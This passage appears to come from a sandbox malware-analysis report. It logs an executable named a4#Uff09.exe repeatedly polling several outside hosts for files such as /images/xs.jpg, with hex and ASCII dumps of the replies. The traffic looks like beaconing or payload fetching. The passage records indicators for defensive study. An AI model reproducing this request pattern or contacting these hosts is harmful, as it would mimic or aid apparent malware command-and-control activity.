                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:26 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          92192.168.2.74980954.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:27.088177919 CEST312OUTGET /images/xs.jpg?384fb301=-1031956472 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159283|1720159208|4|17|0
                                                          Jul 5, 2024 08:01:27.833256960 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:27 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159287|1720159208|4|18|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          93192.168.2.74981044.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:27.862972021 CEST302OUTGET /xs.jpg?39c6efac=1103453368 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159284|1720159209|4|17|0
                                                          Jul 5, 2024 08:01:28.371063948 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:28 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159288|1720159209|4|18|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          94192.168.2.74981144.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:28.406516075 CEST305OUTGET /images/xs.jpg?3b304979=-645772344 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159284|1720159210|3|17|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:01:28.903662920 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:28 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159288|1720159210|3|18|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          95192.168.2.74981278.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:29.365473032 CEST191OUTGET /xs.jpg?3bc3b77a=718443874 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:30.012495995 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:01:29 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          96192.168.2.74981337.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:30.031744003 CEST204OUTGET /images/xs2.jpg?3d425ee3=659903995 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:30.759100914 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:30 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:01:30.761260033 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:30.986510038 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:30 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:30 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          97192.168.2.74981454.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:31.140755892 CEST310OUTGET /images/xs.jpg?3fa90d2a=-22793048 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159287|1720159208|4|18|0
                                                          Jul 5, 2024 08:01:31.870315075 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:31 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159291|1720159208|4|19|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          98192.168.2.74981544.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:31.891537905 CEST303OUTGET /xs.jpg?4108a95f=-1021707235 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159288|1720159209|4|18|0
                                                          Jul 5, 2024 08:01:32.388510942 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:32 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159292|1720159209|4|19|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          99192.168.2.74981644.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:32.413887978 CEST305OUTGET /images/xs.jpg?42301d5c=1257280204 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159288|1720159210|3|18|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:01:32.941812992 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:32 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159292|1720159210|3|19|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          100192.168.2.74981778.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:32.950973034 CEST192OUTGET /xs.jpg?43352d54=-912291844 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:33.656234026 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:01:33 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          101192.168.2.74981837.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:33.772933960 CEST206OUTGET /images/xs2.jpg?449576d0=-1686058784 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:34.494287014 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:34 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:01:34.501466990 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:34.728734970 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:34 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:34 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          102192.168.2.74981954.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:34.880660057 CEST311OUTGET /images/xs.jpg?46b38069=1186168937 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159291|1720159208|4|19|0
                                                          Jul 5, 2024 08:01:35.611686945 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:35 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159295|1720159208|4|20|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          103192.168.2.74982044.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:35.623128891 CEST303OUTGET /xs.jpg?535f3d04=-1497466360 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159292|1720159209|4|19|0
                                                          Jul 5, 2024 08:01:36.232043982 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:36 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159296|1720159209|4|20|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          104192.168.2.74982144.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:36.258057117 CEST306OUTGET /images/xs.jpg?54aff5f2=-1518358640 HTTP/1.1
